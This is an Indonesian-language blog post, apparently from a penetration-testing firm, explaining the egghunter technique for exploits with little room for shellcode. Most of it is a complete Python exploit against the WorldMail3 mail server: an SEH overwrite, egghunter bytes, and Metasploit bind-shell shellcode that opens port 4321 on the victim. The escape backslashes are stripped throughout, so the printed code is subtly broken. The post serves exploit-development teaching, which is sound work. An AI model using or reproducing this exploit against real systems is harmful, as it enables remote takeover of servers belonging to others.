Egg Hunter

Apa sih..?? berburu telur paskah…?? heemm… egghunter adalah salah satu tehnik yang digunakan dalam pembuatan exploit. Ada kalanya ketika kita menulis sebuah exploit, kita berhadapan dengan “ruang” yang sempit untuk memasukan shellcode yang kita miliki, untuk mengakali sempitnya “ruang” tersebut, kita bisa menggunakan tehnik egghunter untuk mengeksekusi(loncat ke) shellcode yang kita miliki.

Dengan egghunter, kita tidak perlu tau dimana lokasi shellcode kita berada di memori, karena egghunter akan mencarikan lokasi shellcode kita dan mengeksekusinya.

Disini kita akan mencoba tehnik egghunter pada worldmail3, exploit dari worldmail3 bisa di temukan di sini.

Pada tulisan ini, saya tidak akan membahas langkah-langkah penulisan exploit tersebut, tapi dengan merubah exploit tersebut saya akan menjelaskan bagaimana egghunter bekerja.

Pada saat kita melakukan fuzzing terhadap worldmail3, kita bisa melihat bahwa kita hanya memiliki sedikit ruang untuk menempatkan shellcode.

Nah pada kondisi seperti gambar di atas, kita bisa memanfaatkan egghunter.

lalu bagaimana sih isi egghunter??

egghunter = (“x66x81xCAxFFx0Fx42x52x6Ax02x58xCDx2Ex3Cx05x5Ax74xEFxB8″
“x77x30x30x74″ # this is the egg: w00t
“x8BxFAxAFx75xEAxAFx75xE7xFFxE7″)

coba perhatikan bagian yang di komen, anda melihat kalau ada “w00t” disitu, egghunter di setup untuk mencari kata “w00t (x77x30x30x74)” dalam memori, ia akan melakukan looping sampai menemukan “w00t” pada memori, setelah menemukan “telurnya (w00t)”, maka ia akan mengeksekusi shell yang ada setelahnya. Pada proses ini selain akan memakan resource penggunaan CPU hingga 100%, juga akan memakan waktu dalam usaha pencarian “telur” tersebut. (yah lumayan jadi sempat bikin kopi lah… :D)

jadi bisa kita gambarkan garis besar Buffer akan terlihat seperti ini:

Buff= "err" + junk + nseh + seh + egghunter + nops + 'w00tw00t' + shell

terlihat di atas terdapat dua buah w00t sebelum shell, ini dikarenakan hunter akan mencari dua buah “telur(w00t)” sebelum mengeksekusi shell.

pada gambar dibawah kita bisa melihat bahwa egghunter di letakan setelah eksekusi NextSEH pada stack.

ok, kurang lebih beginilah penjelasan singkat saya mengenai egghunter, mudah2an mudah dipahami dan tidak membingungkan.. 😀

dan berikut ini exploit yang saya buat:

#!/usr/bin/python
#======================================
#Worldmail Exploit (EggHunter-SEH based exploit)
#Bind to port: 4321
#c0d3r: otoy
#======================================

import sys
import struct
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

seh= 'x35x31x6dx01' #pop pop ret
jmpseh='xebx06x90x90' # ret - jmp 6 byte down bypass the pop pop ret

egghunter = ("x66x81xCAxFFx0Fx42x52x6Ax02x58xCDx2Ex3Cx05x5Ax74xEFxB8"
"x77x30x30x74" # this is the egg: w00t
"x8BxFAxAFx75xEAxAFx75xE7xFFxE7")

# win32_bind -  EXITFUNC=thread LPORT=4321 Size=342 Encoder=PexFnstenvMov http://metasploit.com
shell = ("x6ax50x59xd9xeexd9x74x24xf4x5bx81x73x13x90x86xc4"
"xecx83xebxfcxe2xf4x6cxecx2fxa1x78x7fx3bx13x6fxe6"
"x4fx80xb4xa2x4fxa9xacx0dxb8xe9xe8x87x2bx67xdfx9e"
"x4fxb3xb0x87x2fxa5x1bxb2x4fxedx7exb7x04x75x3cx02"
"x04x98x97x47x0exe1x91x44x2fx18xabxd2xe0xc4xe5x63"
"x4fxb3xb4x87x2fx8ax1bx8ax8fx67xcfx9axc5x07x93xaa"
"x4fx65xfcxa2xd8x8dx53xb7x1fx88x1bxc5xf4x67xd0x8a"
"x4fx9cx8cx2bx4fxacx98xd8xacx62xdex88x28xbcx6fx50"
"xa2xbfxf6xeexf7xdexf8xf1xb7xdexcfxd2x3bx3cxf8x4d"
"x29x10xabxd6x3bx3axcfx0fx21x8ax11x6bxccxeexc5xec"
"xc6x13x40xeex1dxe5x65x2bx93x13x46xd5x97xbfxc3xd5"
"x87xbfxd3xd5x3bx3cxf6xeexd4x0dxf6xd5x4dx0dx05xee"
"x60xf6xe0x41x93x13x46xecxd4xbdxc5x79x14x84x34x2b"
"xeax05xc7x79x12xbfxc5x79x14x84x75xcfx42xa5xc7x79"
"x12xbcxc4xd2x91x13x40x15xacx0bxe9x40xbdxbbx6fx50"
"x91x13x40xe0xaex88xf6xeexa7x81x19x63xaexbcxc9xaf"
"x08x65x77xecx80x65x72xb7x04x1fx3ax78x86xc1x6exc4"
"xe8x7fx1dxfcxfcx47x3bx2dxacx9ex6ex35xd2x13xe5xc2"
"x3bx3axcbxd1x96xbdxc1xd7xaexedxc1xd7x91xbdx6fx56"
"xacx41x49x83x0axbfx6fx50xaex13x6fxb1x3bx3cx1bxd1"
"x38x6fx54xe2x3bx3axc2x79x14x84x7fx48x24x8cxc3x79"
"x12x13x40x86xc4xec")

buffer = 'x41'*770 + jmpseh + seh + egghunter + 'x90'*7000 +'w00tw00t'+ shell +'}'*10

s.connect((sys.argv[1],int(sys.argv[2])))
data=s.recv(1024)
s.send('a001 LIST '+buffer+'rn')
print "[+]exploiting the server...!! (may take up to a minute)"
print "[+]Connect with netcat to port 4321 (to victim ip)"
s.close()

Berikut ini Screenshot pada saat exploit di jalankan.

Lebih lanjut soal Egg Hunter:

Peter Van Eeckhoutte’s Blog

Hick.org Paper

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

About Spentera

We are specializing in penetration test, vulnerability assessment, computer forensics, as well as intrusion analyst and malware analysis. Customers can contact us directly at contact[at]spentera[dot]id, or use Contact Our Team menu on the sidebar.